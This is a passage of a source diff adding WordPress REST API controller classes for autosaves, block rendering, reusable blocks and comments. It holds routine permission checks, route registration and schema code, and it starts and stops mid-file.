+	 *
+	 * @param int $parent_id Supplied ID.
+	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_parent( $parent_id ) {
+		return $this->revisions_controller->get_parent( $parent_id );
+	}
+
+	/**
+	 * Checks if a given request has access to get autosaves.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		$parent = $this->get_parent( $request['id'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		$parent_post_type_obj = get_post_type_object( $parent->post_type );
+		if ( ! current_user_can( $parent_post_type_obj->cap->edit_post, $parent->ID ) ) {
+			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view autosaves of this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks if a given request has access to create an autosave revision.
+	 *
+	 * Autosave revisions inherit permissions from the parent post,
+	 * check if the current user has permission to edit the post.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+		$id = $request->get_param( 'id' );
+		if ( empty( $id ) ) {
+			return new WP_Error( 'rest_post_invalid_id', __( 'Invalid item ID.' ), array( 'status' => 404 ) );
+		}
+
+		return $this->parent_controller->update_item_permissions_check( $request );
+	}
+
+	/**
+	 * Creates, updates or deletes an autosave revision.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+
+		if ( ! defined( 'DOING_AUTOSAVE' ) ) {
+			define( 'DOING_AUTOSAVE', true );
+		}
+
+		$post = get_post( $request['id'] );
+
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
+		$prepared_post->ID = $post->ID;
+		$user_id           = get_current_user_id();
+
+		if ( ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status ) && $post->post_author == $user_id ) {
+			// Draft posts for the same author: autosaving updates the post and does not create a revision.
+			// Convert the post object to an array and add slashes, wp_update_post expects escaped array.
+			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
+		} else {
+			// Non-draft posts: create or update the post autosave.
+			$autosave_id = $this->create_post_autosave( (array) $prepared_post );
+		}
+
+		if ( is_wp_error( $autosave_id ) ) {
+			return $autosave_id;
+		}
+
+		$autosave = get_post( $autosave_id );
+		$request->set_param( 'context', 'edit' );
+
+		$response = $this->prepare_item_for_response( $autosave, $request );
+		$response = rest_ensure_response( $response );
+
+		return $response;
+	}
+
+	/**
+	 * Get the autosave, if the ID is valid.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
+	 */
+	public function get_item( $request ) {
+		$parent_id = (int) $request->get_param( 'parent' );
+
+		if ( $parent_id <= 0 ) {
+			return new WP_Error( 'rest_post_invalid_id', __( 'Invalid parent post ID.' ), array( 'status' => 404 ) );
+		}
+
+		$autosave = wp_get_post_autosave( $parent_id );
+
+		if ( ! $autosave ) {
+			return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this post.' ), array( 'status' => 404 ) );
+		}
+
+		$response = $this->prepare_item_for_response( $autosave, $request );
+		return $response;
+	}
+
+	/**
+	 * Gets a collection of autosaves using wp_get_post_autosave.
+	 *
+	 * Contains the user's autosave, for empty if it doesn't exist.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		$parent = $this->get_parent( $request['id'] );
+		if ( is_wp_error( $parent ) ) {
+			return $parent;
+		}
+
+		$response  = array();
+		$parent_id = $parent->ID;
+		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );
+
+		foreach ( $revisions as $revision ) {
+			if ( false !== strpos( $revision->post_name, "{$parent_id}-autosave" ) ) {
+				$data       = $this->prepare_item_for_response( $revision, $request );
+				$response[] = $this->prepare_response_for_collection( $data );
+			}
+		}
+
+		return rest_ensure_response( $response );
+	}
+
+
+	/**
+	 * Retrieves the autosave's schema, conforming to JSON Schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = $this->revisions_controller->get_item_schema();
+
+		$schema['properties']['preview_link'] = array(
+			'description' => __( 'Preview link for the post.' ),
+			'type'        => 'string',
+			'format'      => 'uri',
+			'context'     => array( 'edit' ),
+			'readonly'    => true,
+		);
+
+		return $schema;
+	}
+
+	/**
+	 * Creates autosave for the specified post.
+	 *
+	 * From wp-admin/post.php.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param mixed $post_data Associative array containing the post data.
+	 * @return mixed The autosave revision ID or WP_Error.
+	 */
+	public function create_post_autosave( $post_data ) {
+
+		$post_id = (int) $post_data['ID'];
+		$post    = get_post( $post_id );
+
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		$user_id = get_current_user_id();
+
+		// Store one autosave per author. If there is already an autosave, overwrite it.
+		$old_autosave = wp_get_post_autosave( $post_id, $user_id );
+
+		if ( $old_autosave ) {
+			$new_autosave                = _wp_post_revision_data( $post_data, true );
+			$new_autosave['ID']          = $old_autosave->ID;
+			$new_autosave['post_author'] = $user_id;
+
+			// If the new autosave has the same content as the post, delete the autosave.
+			$autosave_is_different = false;
+
+			foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
+				if ( normalize_whitespace( $new_autosave[ $field ] ) != normalize_whitespace( $post->$field ) ) {
+					$autosave_is_different = true;
+					break;
+				}
+			}
+
+			if ( ! $autosave_is_different ) {
+				wp_delete_post_revision( $old_autosave->ID );
+				return new WP_Error( 'rest_autosave_no_changes', __( 'There is nothing to save. The autosave and the post content are the same.' ), array( 'status' => 400 ) );
+			}
+
+			/**
+			 * This filter is documented in wp-admin/post.php.
+			 */
+			do_action( 'wp_creating_autosave', $new_autosave );
+
+			// wp_update_post expects escaped array.
+			return wp_update_post( wp_slash( $new_autosave ) );
+		}
+
+		// Create the new autosave as a special post revision.
+		return _wp_put_post_revision( $post_data, true );
+	}
+
+	/**
+	 * Prepares the revision for the REST response.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_Post         $post    Post revision object.
+	 * @param WP_REST_Request $request Request object.
+	 *
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $post, $request ) {
+
+		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );
+
+		$fields = $this->get_fields_for_response( $request );
+
+		if ( in_array( 'preview_link', $fields, true ) ) {
+			$parent_id          = wp_is_post_autosave( $post );
+			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
+			$preview_query_args = array();
+
+			if ( false !== $parent_id ) {
+				$preview_query_args['preview_id']    = $parent_id;
+				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
+			}
+
+			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
+		}
+
+		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
+		$response->data = $this->filter_response_by_context( $response->data, $context );
+
+		/**
+		 * Filters a revision returned from the API.
+		 *
+		 * Allows modification of the revision right before it is returned.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param WP_Post          $post     The original revision object.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
+	}
+
+	/**
+	 * Retrieves the query params for the autosaves collection.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		return array(
+			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+		);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php	(revision 56912)
@@ -0,0 +1,178 @@
+<?php
+/**
+ * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Controller which provides REST endpoint for rendering a block.
+ *
+ * @since 5.0.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructs the controller.
+	 *
+	 * @since 5.0.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'block-renderer';
+	}
+
+	/**
+	 * Registers the necessary REST API routes, one for each dynamic block.
+	 *
+	 * @since 5.0.0
+	 */
+	public function register_routes() {
+		$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
+
+		foreach ( $block_types as $block_type ) {
+			if ( ! $block_type->is_dynamic() ) {
+				continue;
+			}
+
+			register_rest_route(
+				$this->namespace,
+				'/' . $this->rest_base . '/(?P<name>' . $block_type->name . ')',
+				array(
+					'args'   => array(
+						'name' => array(
+							'description' => __( 'Unique registered name for the block.' ),
+							'type'        => 'string',
+						),
+					),
+					array(
+						'methods'             => WP_REST_Server::READABLE,
+						'callback'            => array( $this, 'get_item' ),
+						'permission_callback' => array( $this, 'get_item_permissions_check' ),
+						'args'                => array(
+							'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
+							'attributes' => array(
+								/* translators: %s is the name of the block */
+								'description'          => sprintf( __( 'Attributes for %s block' ), $block_type->name ),
+								'type'                 => 'object',
+								'additionalProperties' => false,
+								'properties'           => $block_type->get_attributes(),
+								'default'              => array(),
+							),
+							'post_id'    => array(
+								'description' => __( 'ID of the post context.' ),
+								'type'        => 'integer',
+							),
+						),
+					),
+					'schema' => array( $this, 'get_public_item_schema' ),
+				)
+			);
+		}
+	}
+
+	/**
+	 * Checks if a given request has access to read blocks.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Request.
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		global $post;
+
+		$post_id = isset( $request['post_id'] ) ? intval( $request['post_id'] ) : 0;
+
+		if ( 0 < $post_id ) {
+			$post = get_post( $post_id );
+
+			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
+				return new WP_Error(
+					'block_cannot_read',
+					__( 'Sorry, you are not allowed to read blocks of this post.' ),
+					array(
+						'status' => rest_authorization_required_code(),
+					)
+				);
+			}
+		} else {
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				return new WP_Error(
+					'block_cannot_read',
+					__( 'Sorry, you are not allowed to read blocks as this user.' ),
+					array(
+						'status' => rest_authorization_required_code(),
+					)
+				);
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Returns block output from block's registered render_callback.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		global $post;
+
+		$post_id = isset( $request['post_id'] ) ? intval( $request['post_id'] ) : 0;
+
+		if ( 0 < $post_id ) {
+			$post = get_post( $post_id );
+
+			// Set up postdata since this will be needed if post_id was set.
+			setup_postdata( $post );
+		}
+		$registry = WP_Block_Type_Registry::get_instance();
+		$block    = $registry->get_registered( $request['name'] );
+
+		if ( null === $block ) {
+			return new WP_Error(
+				'block_invalid',
+				__( 'Invalid block.' ),
+				array(
+					'status' => 404,
+				)
+			);
+		}
+
+		$data = array(
+			'rendered' => $block->render( $request->get_param( 'attributes' ) ),
+		);
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Retrieves block's output schema, conforming to JSON Schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		return array(
+			'$schema'    => 'http://json-schema.org/schema#',
+			'title'      => 'rendered-block',
+			'type'       => 'object',
+			'properties' => array(
+				'rendered' => array(
+					'description' => __( 'The rendered block.' ),
+					'type'        => 'string',
+					'required'    => true,
+					'context'     => array( 'edit' ),
+				),
+			),
+		);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php	(revision 56912)
@@ -0,0 +1,92 @@
+<?php
+/**
+ * Reusable blocks REST API: WP_REST_Blocks_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Controller which provides a REST endpoint for the editor to read, create,
+ * edit and delete reusable blocks. Blocks are stored as posts with the wp_block
+ * post type.
+ *
+ * @since 5.0.0
+ *
+ * @see WP_REST_Posts_Controller
+ * @see WP_REST_Controller
+ */
+class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller {
+
+	/**
+	 * Checks if a block can be read.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param object $post Post object that backs the block.
+	 * @return bool Whether the block can be read.
+	 */
+	public function check_read_permission( $post ) {
+		// Ensure that the user is logged in and has the read_blocks capability.
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! current_user_can( $post_type->cap->read_post, $post->ID ) ) {
+			return false;
+		}
+
+		return parent::check_read_permission( $post );
+	}
+
+	/**
+	 * Filters a response based on the context defined in the schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array  $data    Response data to fiter.
+	 * @param string $context Context defined in the schema.
+	 * @return array Filtered response.
+	 */
+	public function filter_response_by_context( $data, $context ) {
+		$data = parent::filter_response_by_context( $data, $context );
+
+		/*
+		 * Remove `title.rendered` and `content.rendered` from the response. It
+		 * doesn't make sense for a reusable block to have rendered content on its
+		 * own, since rendering a block requires it to be inside a post or a page.
+		 */
+		unset( $data['title']['rendered'] );
+		unset( $data['content']['rendered'] );
+
+		return $data;
+	}
+
+	/**
+	 * Retrieves the block's schema, conforming to JSON Schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = parent::get_item_schema();
+
+		/*
+		 * Allow all contexts to access `title.raw` and `content.raw`. Clients always
+		 * need the raw markup of a reusable block to do anything useful, e.g. parse
+		 * it or display it in an editor.
+		 */
+		$schema['properties']['title']['properties']['raw']['context']   = array( 'view', 'edit' );
+		$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );
+
+		/*
+		 * Remove `title.rendered` and `content.rendered` from the schema. It doesn’t
+		 * make sense for a reusable block to have rendered content on its own, since
+		 * rendering a block requires it to be inside a post or a page.
+		 */
+		unset( $schema['properties']['title']['properties']['rendered'] );
+		unset( $schema['properties']['content']['properties']['rendered'] );
+
+		return $schema;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php	(revision 56912)
@@ -0,0 +1,1677 @@
+<?php
+/**
+ * REST API: WP_REST_Comments_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core controller used to access comments via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Comments_Controller extends WP_REST_Controller {
+
+	/**
+	 * Instance of a comment meta fields object.
+	 *
+	 * @since 4.7.0
+	 * @var WP_REST_Comment_Meta_Fields
+	 */
+	protected $meta;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'comments';
+
+		$this->meta = new WP_REST_Comment_Meta_Fields();
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'   => WP_REST_Server::READABLE,
+				'callback'  => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'      => $this->get_collection_params(),
+			),
+			array(
+				'methods'  => WP_REST_Server::CREATABLE,
+				'callback' => array( $this, 'create_item' ),
+				'permission_callback' => array( $this, 'create_item_permissions_check' ),
+				'args'     => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
+			'args' => array(
+				'id' => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'  => WP_REST_Server::READABLE,
+				'callback' => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'     => array(
+					'context'          => $this->get_context_param( array( 'default' => 'view' ) ),
+					'password' => array(
+						'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
+						'type'        => 'string',
+					),
+				),
+			),
+			array(
+				'methods'  => WP_REST_Server::EDITABLE,
+				'callback' => array( $this, 'update_item' ),
+				'permission_callback' => array( $this, 'update_item_permissions_check' ),
+				'args'     => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+			),
+			array(
+				'methods'  => WP_REST_Server::DELETABLE,
+				'callback' => array( $this, 'delete_item' ),
+				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
+				'args'     => array(
+					'force'    => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Whether to bypass trash and force deletion.' ),
+					),
+					'password' => array(
+						'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
+						'type'        => 'string',
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks if a given request has access to read comments.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has read access, error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+
+		if ( ! empty( $request['post'] ) ) {
+			foreach ( (array) $request['post'] as $post_id ) {
+				$post = get_post( $post_id );
+
+				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
+					return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
+					return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read comments without a post.' ), array( 'status' => rest_authorization_required_code() ) );
+				}
+			}
+		}
+
+		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
+			$forbidden_params = array();
+
+			foreach ( $protected_params as $param ) {
+				if ( 'status' === $param ) {
+					if ( 'approve' !== $request[ $param ] ) {
+						$forbidden_params[] = $param;
+					}
+				} elseif ( 'type' === $param ) {
+					if ( 'comment' !== $request[ $param ] ) {
+						$forbidden_params[] = $param;
+					}
+				} elseif ( ! empty( $request[ $param ] ) ) {
+					$forbidden_params[] = $param;
+				}
+			}
+
+			if ( ! empty( $forbidden_params ) ) {
+				return new WP_Error( 'rest_forbidden_param', sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves a list of comment items.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
+	 */
+	public function get_items( $request ) {
+
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+
+		/*
+		 * This array defines mappings between public API query parameters whose
+		 * values are accepted as-passed, and their internal WP_Query parameter
+		 * name equivalents (some are the same). Only values which are also
+		 * present in $registered will be set.
+		 */
+		$parameter_mappings = array(
+			'author'         => 'author__in',
+			'author_email'   => 'author_email',
+			'author_exclude' => 'author__not_in',
+			'exclude'        => 'comment__not_in',
+			'include'        => 'comment__in',
+			'offset'         => 'offset',
+			'order'          => 'order',
+			'parent'         => 'parent__in',
+			'parent_exclude' => 'parent__not_in',
+			'per_page'       => 'number',
+			'post'           => 'post__in',
+			'search'         => 'search',
+			'status'         => 'status',
+			'type'           => 'type',
+		);
+
+		$prepared_args = array();
+
+		/*
+		 * For each known parameter which is both registered and present in the request,
+		 * set the parameter's value on the query $prepared_args.
+		 */
+		foreach ( $parameter_mappings as $api_param => $wp_param ) {
+			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
+				$prepared_args[ $wp_param ] = $request[ $api_param ];
+			}
+		}
+
+		// Ensure certain parameter values default to empty strings.
+		foreach ( array( 'author_email', 'search' ) as $param ) {
+			if ( ! isset( $prepared_args[ $param ] ) ) {
+				$prepared_args[ $param ] = '';
+			}
+		}
+
+		if ( isset( $registered['orderby'] ) ) {
+			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
+		}
+
+		$prepared_args['no_found_rows'] = false;
+
+		$prepared_args['date_query'] = array();
+
+		// Set before into date query. Date query must be specified as an array of an array.
+		if ( isset( $registered['before'], $request['before'] ) ) {
+			$prepared_args['date_query'][0]['before'] = $request['before'];
+		}
+
+		// Set after into date query. Date query must be specified as an array of an array.
+		if ( isset( $registered['after'], $request['after'] ) ) {
+			$prepared_args['date_query'][0]['after'] = $request['after'];
+		}
+
+		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
+			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
+		}
+
+		/**
+		 * Filters arguments, before passing to WP_Comment_Query, when querying comments via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
+		 *
+		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
+		 * @param WP_REST_Request $request       The current request.
+		 */
+		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );
+
+		$query = new WP_Comment_Query;
+		$query_result = $query->query( $prepared_args );
+
+		$comments = array();
+
+		foreach ( $query_result as $comment ) {
+			if ( ! $this->check_read_permission( $comment, $request ) ) {
+				continue;
+			}
+
+			$data = $this->prepare_item_for_response( $comment, $request );
+			$comments[] = $this->prepare_response_for_collection( $data );
+		}
+
+		$total_comments = (int) $query->found_comments;
+		$max_pages      = (int) $query->max_num_pages;
+
+		if ( $total_comments < 1 ) {
+			// Out-of-bounds, run the query again without LIMIT for total count.
+			unset( $prepared_args['number'], $prepared_args['offset'] );
+
+			$query = new WP_Comment_Query;
+			$prepared_args['count'] = true;
+
+			$total_comments = $query->query( $prepared_args );
+			$max_pages = ceil( $total_comments / $request['per_page'] );
+		}
+
+		$response = rest_ensure_response( $comments );
+		$response->header( 'X-WP-Total', $total_comments );
+		$response->header( 'X-WP-TotalPages', $max_pages );
+
+		$base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
+
+		if ( $request['page'] > 1 ) {
+			$prev_page = $request['page'] - 1;
+
+			if ( $prev_page > $max_pages ) {
+				$prev_page = $max_pages;
+			}
+
+			$prev_link = add_query_arg( 'page', $prev_page, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+
+		if ( $max_pages > $request['page'] ) {
+			$next_page = $request['page'] + 1;
+			$next_link = add_query_arg( 'page', $next_page, $base );
+
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Get the comment, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_comment( $id ) {
+		$error = new WP_Error( 'rest_comment_invalid_id', __( 'Invalid comment ID.' ), array( 'status' => 404 ) );
+		if ( (int) $id <= 0 ) {
+			return $error;
+		}
+
+		$id = (int) $id;
+		$comment = get_comment( $id );
+		if ( empty( $comment ) ) {
+			return $error;
+		}
+
+		if ( ! empty( $comment->comment_post_ID ) ) {
+			$post = get_post( (int) $comment->comment_post_ID );
+			if ( empty( $post ) ) {
+				return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
+			}
+		}
+
+		return $comment;
+	}
+
+	/**
+	 * Checks if a given request has access to read the comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has read access for the item, error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		$post = get_post( $comment->comment_post_ID );
+
+		if ( ! $this->check_read_permission( $comment, $request ) ) {
+			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
+			return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
+	 */
+	public function get_item( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		$data = $this->prepare_item_for_response( $comment, $request );
+		$response = rest_ensure_response( $data );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to create a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has access to create items, error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+		if ( ! is_user_logged_in() ) {
+			if ( get_option( 'comment_registration' ) ) {
+				return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) );
+			}
+
+			/**
+			 * Filter whether comments can be created without authentication.
+			 *
+			 * Enables creating comments for anonymous users.
+			 *
+			 * @since 4.7.0
+			 *
+			 * @param bool $allow_anonymous Whether to allow anonymous comments to
+			 *                              be created. Default `false`.
+			 * @param WP_REST_Request $request Request used to generate the
+			 *                                 response.
+			 */
+			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );
+			if ( ! $allow_anonymous ) {
+				return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) );
+			}
+		}
+
+		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
+		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
+			return new WP_Error( 'rest_comment_invalid_author',
+				/* translators: %s: request parameter */
+				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
+			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
+				return new WP_Error( 'rest_comment_invalid_author_ip',
+					/* translators: %s: request parameter */
+					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
+					array( 'status' => rest_authorization_required_code() )
+				);
+			}
+		}
+
+		if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) {
+			return new WP_Error( 'rest_comment_invalid_status',
+				/* translators: %s: request parameter */
+				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( empty( $request['post'] ) ) {
+			return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) );
+		}
+
+		$post = get_post( (int) $request['post'] );
+		if ( ! $post ) {
+			return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) );
+		}
+
